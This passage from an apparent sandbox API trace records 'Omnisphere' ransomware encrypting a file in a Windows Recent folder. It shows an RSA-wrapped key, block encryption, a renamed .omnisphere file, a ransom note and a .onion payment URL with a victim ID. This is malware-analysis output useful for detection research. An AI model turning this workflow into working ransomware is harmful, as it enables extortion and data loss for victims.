pszFile="6nik2H95B_ogXKnNe.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6nik2H95B_ogXKnNe.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6nik2H95B_ogXKnNe.lnk" [0119.040] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0119.040] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6nik2H95B_ogXKnNe.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\6nik2h95b_ogxknne.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.040] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1001) returned 1 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] GetTickCount () returned 0x115dbf5 [0119.041] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16682c8) returned 1 [0119.042] CryptImportKey (in: hProv=0x16682c8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639868) returned 1 [0119.042] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0119.042] CryptDestroyKey (hKey=0x1639868) returned 1 [0119.042] CryptReleaseContext (hProv=0x16682c8, dwFlags=0x0) returned 1 [0119.042] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e9, lpName=0x0) returned 0x288 [0119.042] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e9) returned 0x1480000 [0119.043] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668ac0) returned 1 [0119.043] CryptImportKey (in: hProv=0x1668ac0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16395e8) returned 1 [0119.043] CryptSetKeyParam (hKey=0x16395e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0119.043] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0119.043] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.043] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.043] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.043] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.043] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.043] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.043] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.043] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.043] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.044] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.044] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.044] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.044] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.044] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.044] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.044] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.044] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.044] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.044] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.044] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.044] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.044] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.044] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.044] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.044] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.044] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.044] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.044] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.044] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.044] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.044] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.044] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.044] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.044] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.044] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.044] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.044] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.045] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.045] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.045] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.045] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.045] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.045] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.045] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.045] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.045] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.045] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.045] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.045] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.045] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.045] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.045] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.045] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.045] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.045] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.045] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.045] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.045] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.045] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.045] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.045] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.045] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.045] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.045] CryptDestroyKey (hKey=0x16395e8) returned 1 [0119.046] CryptReleaseContext (hProv=0x1668ac0, dwFlags=0x0) returned 1 [0119.046] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3e9, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0119.046] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0119.046] GetProcessHeap () returned 0x1600000 [0119.046] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2bc) returned 0x165e198 [0119.046] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6nik2H95B_ogXKnNe.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\6nik2h95b_ogxknne.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6nik2H95B_ogXKnNe.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\6nik2h95b_ogxknne.lnk.omnisphere")) returned 1 [0119.047] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6nik2H95B_ogXKnNe.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6nik2H95B_ogXKnNe.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6nik2H95B_ogXKnNe.lnk.omnisphere.id" [0119.047] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6nik2H95B_ogXKnNe.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\6nik2h95b_ogxknne.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0119.047] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0119.048] CloseHandle (hObject=0x3c0) returned 1 [0119.049] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0119.049] CloseHandle (hObject=0x288) returned 1 [0119.049] SetEndOfFile (hFile=0x28c) returned 1 [0119.049] FlushFileBuffers (hFile=0x28c) returned 1 [0119.053] CloseHandle (hObject=0x28c) returned 1 [0119.053] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6nik2H95B_ogXKnNe.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0119.053] GetProcessHeap () returned 0x1600000 [0119.053] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x165e460 [0119.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0119.053] GetProcessHeap () returned 0x1600000 [0119.053] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693f58 [0119.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693f58, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0119.053] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0119.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0119.054] GetProcessHeap () returned 0x1600000 [0119.054] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16afea8 [0119.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16afea8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0119.054] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0119.054] GetProcessHeap () returned 0x1600000 [0119.054] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a1618 [0119.054] PathCombineW (in: pszDest=0x16a1618, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0119.054] GetProcessHeap () returned 0x1600000 [0119.054] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16a9c70 [0119.054] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.054] WriteFile (in: hFile=0x28c, lpBuffer=0x16a9c70*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16a9c70*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0119.054] CloseHandle (hObject=0x28c) returned 1 [0119.054] GetProcessHeap () returned 0x1600000 [0119.054] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e460 | out: hHeap=0x1600000) returned 1 [0119.054] GetProcessHeap () returned 0x1600000 [0119.054] RtlAllocateHeap (HeapHandle=0x1600000, 